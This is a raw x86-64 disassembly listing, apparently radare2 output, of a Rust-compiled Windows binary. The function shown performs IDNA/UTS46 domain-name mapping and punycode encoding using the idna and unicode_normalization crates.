lea rax, [rsp + 0x230]
movups xmmword [rax], xmm6
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x70], 0
mov word [rsp + 0x74], 0
mov byte [rsp + 0x78], 0
mov dword [rsp + 0x7c], 0
mov byte [rsp + 0x80], 0
mov dword [rsp + 0x84], 0
mov byte [rsp + 0x88], 0
mov dword [rsp + 0x8c], 0
mov byte [rsp + 0x90], 0
mov dword [rsp + 0x94], 0
mov rsi, qword [rsp + 0x118]
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0xa0], r13
mov dword [rsp + 0xc0], 0
mov word [rsp + 0xc4], 0
movzx eax, word [rsp + 0x23e]
mov word [rcx + 0x2e], ax
movdqu xmm0, xmmword [rsp + 0x22e]
movdqu xmmword [rcx + 0x1e], xmm0
mov dword [rsp + 0xe0], 0x110000
mov byte [rsp + 0xe4], 0
cmp rsi, r13
je 0x140043ce0
movzx edx, byte [rsi]
movzx edi, dl
test dil, dil
js 0x140043c51
inc rsi
jmp 0x140043cb3
mov eax, edi
and eax, 0x1f
movzx r8d, byte [rsi + 1]
and r8d, 0x3f
cmp dil, 0xdf
jbe 0x140043c9a
movzx ecx, byte [rsi + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x140043ca8
movzx edi, byte [rsi + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and edi, 0x3f
or edi, ecx
or edi, eax
cmp edi, 0x110000
je 0x140043ce0
add rsi, 4
jmp 0x140043cb3
add rsi, 2
shl eax, 6
or eax, r8d
mov edi, eax
jmp 0x140043cb3
add rsi, 3
shl eax, 0xc
or ecx, eax
mov edi, ecx
lea rcx, [rsp + 0x60]
call fcn.1400405a0
xor ebx, ebx
cmp eax, 0x110000
je 0x140043cf2
cmp eax, edi
je 0x140043c38
jmp 0x140043cf2
mov rcx, r13
mov rdx, r15
call fcn.140104c70
jmp 0x1400431a0
lea rcx, [rsp + 0x60]
call fcn.1400405a0
cmp eax, 0x110000
sete bl
cmp dword [rsp + 0x70], 0
je 0x140043d18
cmp qword [rsp + 0x78], 0
je 0x140043d18
mov r8, qword [rsp + 0x80]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp dword [rsp + 0xc0], 0
mov rsi, r15
je 0x140043d47
cmp qword [rsp + 0xc8], 0
je 0x140043d47
mov r8, qword [rsp + 0xd0]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test bl, bl
je case.0x1400438be.3907
sub rsi, qword [rsp + 0x130]
mov rcx, qword [rsp + 0x118]
mov rdx, rsi
mov r8, qword [rsp + 0x148]
lea r9, [rsp + 0x30]
call fcn.140040e80
jmp 0x140043d77
mov byte [rsp + 0x35], 1
mov rbx, qword [rsp + 0x50]
mov rdi, r14
xor esi, esi
jmp 0x140042f6e
mov rdx, rdi
mov rax, qword [rsp + 0x350]
mov rcx, qword [rax + 8]
mov rdi, qword [rax + 0x10]
mov r8, qword [rsp + 0x140]
test r8, r8
je 0x140043dcb
cmp rdi, r8
jbe 0x140043dc9
cmp byte [rcx + r8], 0xbf
jg 0x140043dcb
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcuts46.rs
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov r9, rdi
call fcn.140104b90
jne 0x140043db2
add rcx, r8
mov rax, rdi
sub rax, r8
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], rax
movabs rax, 0x2e0000002e
mov qword [rsp + 0x90], rax
mov byte [rsp + 0x98], 1
mov word [rsp + 0xa0], 1
test dl, 1
jne 0x140043e40
lea r15, [rsp + 0x60]
mov rcx, r15
call fcn.140040030
test rax, rax
jne 0x140043e2e
jmp 0x14004422d
mov ebx, 0x260d9
mov r14d, 0x62f8
lea rcx, [rsp + 0x60]
call fcn.140040030
test rax, rax
je 0x14004422d
mov r13, rdx
test rdx, rdx
je 0x140043e4b
mov r12, rax
movzx r8d, byte [rax]
movzx ecx, r8b
test cl, cl
js 0x140043e7c
lea rbp, [r12 + 1]
jmp 0x140043ee6
mov eax, ecx
and eax, 0x1f
movzx r9d, byte [r12 + 1]
and r9d, 0x3f
cmp cl, 0xdf
jbe 0x140043ecb
movzx edx, byte [r12 + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140043eda
movzx ecx, byte [r12 + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ecx, eax
cmp ecx, 0x110000
je 0x140043e4b
lea rbp, [r12 + 4]
jmp 0x140043ee6
lea rbp, [r12 + 2]
shl eax, 6
or eax, r9d
mov ecx, eax
jmp 0x140043ee6
lea rbp, [r12 + 3]
shl eax, 0xc
or edx, eax
mov ecx, edx
add r13, r12
call fcn.1400f5ae0
test al, al
je 0x140043fab
movzx eax, al
cmp eax, 0x11
je 0x140043fab
cmp eax, 9
jne 0x140044228
cmp rbp, r13
je 0x140044082
movzx r8d, byte [rbp]
movzx ecx, r8b
test cl, cl
js 0x140043f26
inc rbp
jmp 0x140043f8c
mov eax, ecx
and eax, 0x1f
movzx r9d, byte [rbp + 1]
and r9d, 0x3f
cmp cl, 0xdf
jbe 0x140043f73
movzx edx, byte [rbp + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140043f81
movzx ecx, byte [rbp + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ecx, eax
cmp ecx, 0x110000
je 0x140044082
add rbp, 4
jmp 0x140043f8c
add rbp, 2
shl eax, 6
or eax, r9d
mov ecx, eax
jmp 0x140043f8c
add rbp, 3
shl eax, 0xc
or edx, eax
mov ecx, edx
call fcn.1400f5ae0
cmp al, 0xe
ja 0x140044228
movzx eax, al
bt r14d, eax
jb 0x140043f0b
jmp 0x140044228
cmp rbp, r13
je 0x140044093
xor esi, esi
xor r15d, r15d
jmp 0x140043fc7
mov sil, 1
cmp rbp, r13
je 0x14004406e
movzx r8d, byte [rbp]
movzx ecx, r8b
test cl, cl
js 0x140043fd9
inc rbp
jmp 0x14004403b
mov eax, ecx
and eax, 0x1f
movzx r9d, byte [rbp + 1]
and r9d, 0x3f
cmp cl, 0xdf
jbe 0x140044022
movzx edx, byte [rbp + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140044030
movzx ecx, byte [rbp + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ecx, eax
cmp ecx, 0x110000
je 0x14004406e
add rbp, 4
jmp 0x14004403b
add rbp, 2
shl eax, 6
or eax, r9d
mov ecx, eax
jmp 0x14004403b
add rbp, 3
shl eax, 0xc
or edx, eax
mov ecx, edx
call fcn.1400f5ae0
cmp al, 0x11
ja 0x140044228
movzx eax, al
bt ebx, eax
jb 0x140043fbe
cmp eax, 1
je 0x140043fbb
mov r15b, 1
cmp eax, 5
je 0x140043fbe
jmp 0x140044228
test sil, 1
sete al
test r15b, 1
sete sil
or sil, al
jmp 0x140044096
movzx eax, byte [r13 - 1]
test al, al
js 0x1400440d2
dec r13
movzx ebp, al
jmp 0x1400440f3
mov sil, 1
movzx eax, byte [r13 - 1]
test al, al
js 0x1400440aa
dec r13
movzx ebp, al
jmp 0x14004418e
movzx ecx, byte [r13 - 2]
cmp cl, 0xc0
jge 0x1400441fe
movzx edx, byte [r13 - 3]
cmp dl, 0xbf
jle 0x1400441cb
add r13, 0xfffffffffffffffd
and edx, 0xf
jmp 0x1400441e2
movzx ecx, byte [r13 - 2]
cmp cl, 0xc0
jge 0x140044162
movzx edx, byte [r13 - 3]
cmp dl, 0xbf
jle 0x14004412c
add r13, 0xfffffffffffffffd
and edx, 0xf
jmp 0x140044143
mov ecx, ebp
call fcn.1400f5ae0
cmp al, 0xd
jne 0x14004416b
cmp r13, r12
je 0x140043e4b
movzx eax, byte [r13 - 1]
test al, al
js 0x140044118
dec r13
movzx ebp, al
jmp 0x140044155
movzx ecx, byte [r13 - 2]
cmp cl, 0xc0
jge 0x140044162
movzx edx, byte [r13 - 3]
cmp dl, 0xc0
jge 0x1400440ea
movzx r8d, byte [r13 - 4]
add r13, 0xfffffffffffffffc
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and al, 0x3f
movzx ebp, al
or ebp, ecx
cmp ebp, 0x110000
jne 0x1400440f3
jmp 0x140043e4b
add r13, 0xfffffffffffffffe
and ecx, 0x1f
jmp 0x14004414b
mov ecx, ebp
call fcn.1400f5ae0
cmp al, 9
je 0x140043e4b
mov ecx, ebp
call fcn.1400f5ae0
cmp al, 5
je 0x140043e4b
jmp 0x140044228
mov ecx, ebp
call fcn.1400f5ae0
cmp al, 0xd
jne 0x140044207
cmp r13, r12
je 0x140044228
movzx eax, byte [r13 - 1]
test al, al
js 0x1400441b3
dec r13
movzx ebp, al
jmp 0x1400441f4
movzx ecx, byte [r13 - 2]
cmp cl, 0xc0
jge 0x1400441fe
movzx edx, byte [r13 - 3]
cmp dl, 0xc0
jge 0x1400440c6
movzx r8d, byte [r13 - 4]
add r13, 0xfffffffffffffffc
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and al, 0x3f
movzx ebp, al
or ebp, ecx
cmp ebp, 0x110000
jne 0x14004418e
jmp 0x140044228
add r13, 0xfffffffffffffffe
and ecx, 0x1f
jmp 0x1400441ea
mov ecx, ebp
call fcn.1400f5ae0
cmp al, 0x11
ja 0x140044228
movzx eax, al
mov ecx, 0x20023
bt ecx, eax
jae 0x140044228
test sil, sil
jne 0x140043e4b
mov byte [rsp + 0x32], 1
movzx r15d, byte [rsp + 0x30]
movzx eax, byte [rsp + 0x31]
mov dword [rsp + 0x128], eax
movzx r14d, byte [rsp + 0x32]
movzx ebp, byte [rsp + 0x33]
movzx eax, byte [rsp + 0x34]
mov dword [rsp + 0x50], eax
movzx eax, byte [rsp + 0x35]
mov dword [rsp + 0x138], eax
movzx eax, byte [rsp + 0x36]
mov dword [rsp + 0x150], eax
movzx eax, byte [rsp + 0x37]
mov dword [rsp + 0x130], eax
movzx eax, byte [rsp + 0x38]
mov dword [rsp + 0x148], eax
movzx eax, byte [rsp + 0x39]
mov dword [rsp + 0x12c], eax
movzx eax, byte [rsp + 0x3a]
mov dword [rsp + 0x164], eax
movzx eax, byte [rsp + 0x3b]
mov dword [rsp + 0x118], eax
cmp qword [rsp + 0x1d8], 0
mov rsi, qword [rsp + 0x350]
je 0x1400442d5
mov r8, qword [rsp + 0x1e0]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsi + 0x10]
test rdi, rdi
mov rbx, qword [rsp + 0x158]
je 0x14004430b
js 0x140044f37
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, rdi
call fcn.1400e0010
test rax, rax
jne 0x140044310
mov ecx, 1
mov rdx, rdi
call fcn.140104360
mov eax, 1
mov rcx, qword [rsi + 0x10]
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rsi]
movaps xmmword [rsp + 0x60], xmm0
mov qword [rsi], rdi
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], 0
lea rsi, [rbx + 0x18]
cmp qword [rbx + 0x18], 0
je 0x14004434e
mov r8, qword [rbx + 0x20]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x70]
mov qword [rsi + 0x10], rax
movdqa xmm0, xmmword [rsp + 0x60]
movdqu xmmword [rsi], xmm0
mov rax, qword [rbx + 0x20]
mov rcx, qword [rbx + 0x28]
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rcx
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], rcx
movabs rax, 0x2e0000002e
mov qword [rsp + 0x90], rax
mov byte [rsp + 0x98], 1
mov word [rsp + 0xa0], 1
mov sil, 1
mov dword [rsp + 0x114], ebp
mov ebx, dword [rsp + 0x50]
mov dword [rsp + 0x168], r14d
jmp 0x140044416
mov rax, qword [rdi]
mov rsi, qword [rdi + 0x10]
sub rax, rsi
cmp rax, rdx
jb 0x140044c96
mov rbp, rdx
mov rcx, qword [rdi + 8]
add rcx, rsi
mov rdx, qword [rsp + 0x40]
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
add rbp, rsi
mov rcx, rbp
mov r15d, dword [rsp + 0x140]
mov ebp, dword [rsp + 0x114]
mov qword [rdi + 0x10], rcx
xor esi, esi
mov dword [rsp + 0x140], r15d
lea rcx, [rsp + 0x60]
call fcn.140040030
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140044cb0
test sil, 1
mov rdi, qword [rsp + 0x350]
mov r10d, 1
movabs r15, 0x8080808080808080
jne 0x140044484
mov rax, qword [rdi + 0x10]
cmp rax, qword [rdi]
jne 0x140044475
mov rcx, rdi
mov rsi, rdx
call fcn.1400cf3b0
mov r10d, 1
mov rdx, rsi
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 8]
mov byte [rcx + rax], 0x2e
inc rax
mov qword [rdi + 0x10], rax
cmp rdx, 8
jae 0x14004455a
test rdx, rdx
je 0x1400443d1
mov rax, qword [rsp + 0x40]
cmp byte [rax + rdx - 1], 0
js 0x1400445a9
mov rax, rdx
dec rax
je 0x1400443d1
mov rax, qword [rsp + 0x40]
cmp byte [rax + rdx - 2], 0
js 0x1400445a9
mov rax, rdx
add rax, 0xfffffffffffffffe
je 0x1400443d1
mov rax, qword [rsp + 0x40]
cmp byte [rax + rdx - 3], 0
js 0x1400445a9
mov rax, rdx
add rax, 0xfffffffffffffffd
je 0x1400443d1
mov rax, qword [rsp + 0x40]
cmp byte [rax + rdx - 4], 0
js 0x1400445a9
mov rax, rdx
add rax, 0xfffffffffffffffc
je 0x1400443d1
mov rax, qword [rsp + 0x40]
cmp byte [rax + rdx - 5], 0
js 0x1400445a9
mov rax, rdx
add rax, 0xfffffffffffffffb
je 0x1400443d1
mov rax, qword [rsp + 0x40]
cmp byte [rax + rdx - 6], 0
js 0x1400445a9
mov rax, rdx
add rax, 0xfffffffffffffffa
je 0x1400443d1
mov rax, qword [rsp + 0x40]
cmp byte [rax + rdx - 7], 0
js 0x1400445a9
mov rax, rdx
add rax, 0xfffffffffffffff9
jne 0x1400445a9
jmp 0x1400443d1
mov rax, qword [rsp + 0x40]
test qword [rax], r15
jne 0x1400445a9
mov rcx, qword [rsp + 0x40]
lea rax, [rcx + 7]
and rax, 0xfffffffffffffff8
sub rax, rcx
mov ecx, 8
cmove rax, rcx
lea rcx, [rdx - 8]
cmp rax, rcx
jae 0x14004459a
mov r8, qword [rsp + 0x40]
test qword [r8 + rax], r15
jne 0x1400445a9
add rax, 8
cmp rax, rcx
jb 0x140044586
mov rax, qword [rsp + 0x40]
test qword [rax + rcx], r15
je 0x1400443d1
mov rcx, qword [rdi]
mov r15, qword [rdi + 0x10]
sub rcx, r15
mov rax, r15
cmp rcx, 3
jbe 0x1400446bb
mov qword [rsp + 0x1b8], r15
mov rcx, qword [rdi + 8]
mov dword [rcx + rax], 0x2d2d6e78
add rax, 4
mov qword [rdi + 0x10], rax
xor esi, esi
test rdx, rdx
je 0x14004441e
mov rbx, qword [rsp + 0x40]
mov r15, rbx
add r15, rdx
xor r12d, r12d
mov rdi, qword [rsp + 0x350]
jmp 0x140044610
mov ebp, dword [rsp + 0x114]
inc esi
cmp rbx, r15
je 0x1400446e8
movzx r8d, byte [rbx]
movzx edx, r8b
test dl, dl
js 0x140044621
inc rbx
jmp 0x140044683
mov eax, edx
and eax, 0x1f
movzx r9d, byte [rbx + 1]
and r9d, 0x3f
cmp dl, 0xdf
jbe 0x14004466a
movzx ecx, byte [rbx + 2]
shl r9d, 6
and ecx, 0x3f
or ecx, r9d
cmp r8b, 0xf0
jb 0x140044678
movzx edx, byte [rbx + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and edx, 0x3f
or edx, ecx
or edx, eax
cmp edx, 0x110000
je 0x1400446e1
add rbx, 4
jmp 0x140044683
add rbx, 2
shl eax, 6
or eax, r9d
mov edx, eax
jmp 0x140044683
add rbx, 3
shl eax, 0xc
or ecx, eax
mov edx, ecx
mov eax, esi
inc eax
mov dword [rsp + 0x124], eax
je 0x140044c41
mov rdi, qword [rsp + 0x350]
cmp edx, 0x7f
ja 0x1400445fe
mov rcx, rdi
call fcn.1400f72b0
mov r10d, 1
inc r12d
jmp 0x1400445fe
mov r8d, 4
mov rcx, rdi
mov rsi, rdx
mov rdx, r15
call fcn.140104c70
mov r10d, 1
mov rdx, rsi
mov rax, qword [rdi + 0x10]
jmp 0x1400445c0
mov dword [rsp + 0x124], esi
test r12d, r12d
mov ebx, dword [rsp + 0x50]
je 0x14004471b
mov rax, qword [rdi + 0x10]
cmp rax, qword [rdi]
jne 0x14004470c
mov rcx, rdi
call fcn.1400cf3b0
mov r10d, 1
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 8]
mov byte [rcx + rax], 0x2d
inc rax
mov qword [rdi + 0x10], rax
xor r8d, r8d
mov esi, 0
cmp r12d, dword [rsp + 0x124]
jae 0x14004441e
mov eax, 0x80
mov r13d, 0x48
mov dword [rsp + 0x5c], r12d
mov qword [rsp + 0x1c0], r15
mov dword [rsp + 0x16c], r12d
mov rcx, qword [rsp + 0x40]
jmp 0x140044763
inc rcx
cmp eax, ebp
jbe 0x140044806
xor edx, edx
cmp rcx, r15
je 0x140044801
movzx r11d, byte [rcx]
movzx ebp, r11b
test bpl, bpl
jns 0x140044758
mov r9d, ebp
and r9d, 0x1f
movzx esi, byte [rcx + 1]
and esi, 0x3f
cmp bpl, 0xdf
jbe 0x1400447d5
movzx r10d, byte [rcx + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp r11b, 0xf0
jb 0x1400447e8
movzx ebp, byte [rcx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and ebp, 0x3f
or ebp, r10d
or ebp, r9d
cmp ebp, 0x110000
mov r10d, 1
je 0x1400448be
add rcx, 4
jmp 0x14004475b
add rcx, 2
shl r9d, 6
or r9d, esi
mov ebp, r9d
jmp 0x14004475b
add rcx, 3
shl r9d, 0xc
or r10d, r9d
mov ebp, r10d
mov r10d, 1
jmp 0x14004475b
jmp 0x1400448be
mov edx, 1
cmp rcx, r15
jne 0x140044832
jmp 0x1400448be
inc rcx
cmp r9d, r10d
mov ebp, r10d
cmovb ebp, r9d
cmp r10d, eax
cmovb ebp, r9d
cmp rcx, r15
je 0x1400448b8
mov r9d, ebp
movzx ebx, byte [rcx]
movzx r10d, bl
test r10b, r10b
jns 0x140044815
mov r11d, r10d
and r11d, 0x1f
movzx ebp, byte [rcx + 1]
and ebp, 0x3f
cmp r10b, 0xdf
jbe 0x14004488f
movzx esi, byte [rcx + 2]
shl ebp, 6
and esi, 0x3f
or esi, ebp
cmp bl, 0xf0
jb 0x1400448a2
movzx r10d, byte [rcx + 3]
and r11d, 7
shl r11d, 0x12
shl esi, 6
and r10d, 0x3f
or r10d, esi
or r10d, r11d
cmp r10d, 0x110000
je 0x1400448b5
add rcx, 4
jmp 0x140044818
add rcx, 2
shl r11d, 6
or r11d, ebp
mov r10d, r11d
jmp 0x140044818
add rcx, 3
shl r11d, 0xc
or esi, r11d
mov r10d, esi
jmp 0x140044818
mov ebp, r9d
mov r10d, 1
test edx, edx
je 0x140044ef6
mov ecx, dword [rsp + 0x5c]
inc ecx
mov edi, 0x1a
je 0x140044ebf
mov r9d, ebp
sub r9d, eax
mov eax, r8d
not eax
xor edx, edx
div ecx
cmp r9d, eax
ja 0x140044c41
mov edx, r9d
imul edx, ecx
add edx, r8d
mov dword [rsp + 0x4c], edx
mov rcx, qword [rsp + 0x40]
mov ebx, dword [rsp + 0x50]
jmp 0x14004491e
mov r9d, dword [rsp + 0x5c]
mov r8d, dword [rsp + 0x4c]
mov ebx, dword [rsp + 0x50]
cmp rcx, r15
je 0x140044c0d
movzx r8d, byte [rcx]
movzx eax, r8b
test al, al
js 0x140044933
inc rcx
cmp eax, ebp
jae 0x1400449ad
jmp 0x1400449a3
mov r11, rcx
mov ecx, eax
and ecx, 0x1f
movzx r9d, byte [r11 + 1]
and r9d, 0x3f
cmp al, 0xdf
jbe 0x140044983
movzx edx, byte [r11 + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140044991
movzx eax, byte [r11 + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and eax, 0x3f
or eax, edx
or eax, ecx
cmp eax, 0x110000
je 0x140044c35
add r11, 4
jmp 0x14004499c
add r11, 2
shl ecx, 6
or ecx, r9d
mov eax, ecx
jmp 0x14004499c
add r11, 3
shl ecx, 0xc
or edx, ecx
mov eax, edx
mov rcx, r11
cmp eax, ebp
jae 0x1400449ad
inc dword [rsp + 0x4c]
je 0x140044c41
cmp eax, ebp
jne 0x140044907
mov qword [rsp + 0x1c8], rcx
lea ebx, [r13 + 0x1a]
lea ecx, [r13 - 0x24]
neg ecx
cmp ebx, 0x25
cmovb ecx, edi
cmp r13d, 0x24
cmovae ecx, r10d
mov edx, dword [rsp + 0x4c]
mov eax, edx
cmp edx, ecx
jae 0x140044a9c
mov edx, 0x61
cmp eax, 0x1a
jb 0x1400449fb
mov edx, 0x16
cmp eax, 0x24
jae 0x140044edc
add edx, eax
mov rcx, qword [rsp + 0x350]
call fcn.1400f72b0
mov eax, dword [rsp + 0x5c]
mov r9d, eax
inc r9d
mov ebx, dword [rsp + 0x50]
mov r11d, 0xd41d41d5
mov r12d, dword [rsp + 0x16c]
je 0x140044e44
cmp eax, r12d
mov ecx, 2
mov eax, 0x2bc
cmove ecx, eax
xor r8d, r8d
mov eax, dword [rsp + 0x4c]
xor edx, edx
div ecx
mov ecx, eax
xor edx, edx
div r9d
add eax, ecx
cmp eax, 0x1c8
mov r14d, dword [rsp + 0x168]
mov r15, qword [rsp + 0x1c0]
jb 0x140044bcb
xor ecx, ecx
nop dword [rax]
mov edx, eax
imul rdx, r11
shr rdx, 0x20
mov r10d, eax
sub r10d, edx
shr r10d, 1
add r10d, edx
shr r10d, 5
add ecx, 0x24
cmp eax, 0x3e57
mov eax, r10d
ja 0x140044a70
jmp 0x140044bd0
mov r12d, r13d
neg r12d
mov r14d, 0x48
mov eax, dword [rsp + 0x4c]
jmp 0x140044adc
mov rcx, qword [r15 + 8]
mov byte [rcx + rdx], sil
inc rdx
lea ecx, [r12 + r14]
cmp r14d, ebx
cmovae ecx, edi
cmp r14d, r13d
cmovbe ecx, r10d
mov qword [r15 + 0x10], rdx
add r14d, 0x24
cmp eax, ecx
jb 0x1400449e3
mov r8d, ecx
sub r8d, 0x24
je 0x140044e07
sub eax, ecx
neg r8d
xor edx, edx
div r8d
add edx, ecx
mov esi, 0x61
cmp edx, 0x1a
jb 0x140044b0d
mov esi, 0x16
cmp edx, 0x24
jae 0x140044edc
add esi, edx
cmp esi, 0x80
jae 0x140044b50
mov r15, qword [rsp + 0x350]
mov rdx, qword [r15 + 0x10]
cmp rdx, qword [r15]
jne 0x140044ab0
mov rcx, r15
mov edi, eax
call fcn.1400cf3b0
mov r10d, 1
mov eax, edi
mov edi, 0x1a
mov rdx, qword [r15 + 0x10]
jmp 0x140044ab0
mov rdx, qword [rsp + 0x350]
mov rcx, qword [rdx]
mov rdx, qword [rdx + 0x10]
sub rcx, rdx
cmp rcx, 1
jbe 0x140044ba0
movzx ecx, si
mov r8d, ecx
shr r8d, 6
mov r15, qword [rsp + 0x350]
mov r9, qword [r15 + 8]
and ecx, 0x3f
shl ecx, 8
movzx r8d, r8w
or r8d, ecx
or r8d, 0x80c0
mov word [r9 + rdx], r8w
add rdx, 2
jmp 0x140044abb
mov r8d, 2
mov r15, qword [rsp + 0x350]
mov rcx, r15
mov edi, eax
call fcn.140104c70
mov r10d, 1
mov eax, edi
mov edi, 0x1a
mov rdx, qword [r15 + 0x10]
jmp 0x140044b68
xor ecx, ecx
mov r10d, eax
lea eax, [r10*4]
lea eax, [rax + rax*8]
add r10d, 0x26
xor edx, edx
div r10w
movzx r13d, ax
add r13d, ecx
mov dword [rsp + 0x4c], r8d
mov dword [rsp + 0x5c], r9d
mov r10d, 1
mov rcx, qword [rsp + 0x1c8]
cmp rcx, r15
jne 0x14004491e
inc r8d
inc ebp
xor esi, esi
mov dword [rsp + 0x5c], r9d
mov eax, ebp
cmp r9d, dword [rsp + 0x124]
mov ebp, dword [rsp + 0x114]
jb 0x140044751
jmp 0x14004441e
mov r9d, dword [rsp + 0x5c]
mov r8d, dword [rsp + 0x4c]
jmp 0x140044c0d
mov rdi, qword [rsp + 0x350]
mov rax, qword [rdi + 0x10]
mov r15b, 1
xor esi, esi
mov rcx, qword [rsp + 0x1b8]
cmp rax, rcx
mov ebp, dword [rsp + 0x114]
mov ebx, dword [rsp + 0x50]
jb 0x140044416
mov r15b, 1
test rcx, rcx
je 0x140044410
cmp rax, rcx
jbe 0x140044410
mov rax, qword [rdi + 8]
cmp byte [rax + rcx], 0xbf
jg 0x140044410
jmp 0x140044f1f
mov rcx, rdi
mov r8, rdx
mov rdx, rsi
mov rbp, r8
call fcn.140104c70
mov rsi, qword [rdi + 0x10]
jmp 0x1400443e7
mov r12, qword [rsp + 0x1d0]
mov r15, qword [rsp + 0x350]
mov r13, qword [rsp + 0x158]
mov r8d, dword [rsp + 0x128]
mov eax, dword [rsp + 0x118]
mov ecx, dword [rsp + 0x12c]
mov edx, dword [rsp + 0x164]
mov dword [rsp + 0x118], eax
mov dword [rsp + 0x50], ebx
cmp byte [r13 + 0x32], 0
jne 0x140042bda
mov eax, ecx
mov esi, edx
mov ecx, r8d
mov r13d, dword [rsp + 0x140]
or cl, r13b
mov edx, r14d
or dl, bpl
or dl, cl
mov r9d, dword [rsp + 0x50]
mov ecx, r9d
mov r10d, dword [rsp + 0x138]
or cl, r10b
mov r11d, dword [rsp + 0x150]
or cl, r11b
or cl, dl
mov edi, dword [rsp + 0x130]
mov edx, edi
mov ebx, dword [rsp + 0x148]
or dl, bl
or dl, al
or dl, sil
or dl, cl
mov cl, 2
mov r15d, dword [rsp + 0x118]
or dl, r15b
je 0x140044d97
mov byte [r12 + 1], r8b
mov byte [r12 + 2], r14b
mov byte [r12 + 3], bpl
mov byte [r12 + 4], r9b
mov byte [r12 + 5], r10b
mov byte [r12 + 6], r11b
mov byte [r12 + 7], dil
mov byte [r12 + 8], bl
mov byte [r12 + 9], al
mov byte [r12 + 0xa], sil
mov byte [r12 + 0xb], r15b
mov ecx, r13d
mov byte [r12], cl
movaps xmm6, xmmword [rsp + 0x240]
movaps xmm7, xmmword [rsp + 0x250]
movaps xmm8, xmmword [rsp + 0x260]
movaps xmm9, xmmword [rsp + 0x270]
movaps xmm10, xmmword [rsp + 0x280]
movaps xmm11, xmmword [rsp + 0x290]
movaps xmm12, xmmword [rsp + 0x2a0]
movaps xmm13, xmmword [rsp + 0x2b0]
movaps xmm14, xmmword [rsp + 0x2c0]
movaps xmm15, xmmword [rsp + 0x2d0]
add rsp, 0x2e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcpunycode.rs
call fcn.140104bf0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
mov rcx, rdx
mov edx, 4
call fcn.1401046e0
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcuts46.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140134ce4]
mov edx, 0x321c
call fcn.140104b90
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcpunycode.rs
call fcn.1401048a0
lea r8, [0x140129138]
call fcn.140104660
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
mov rcx, rdx
mov edx, 4
call fcn.1401046e0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov edx, 0xd4e
call fcn.140104660
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov edx, 0x1667
call fcn.140104660
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov rcx, rbp
call fcn.1401046e0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov rcx, r14
call fcn.1401046e0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov rcx, rbp
call fcn.1401046e0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fidna_0.5.0_srcpunycode.rs
call fcn.1401048a0
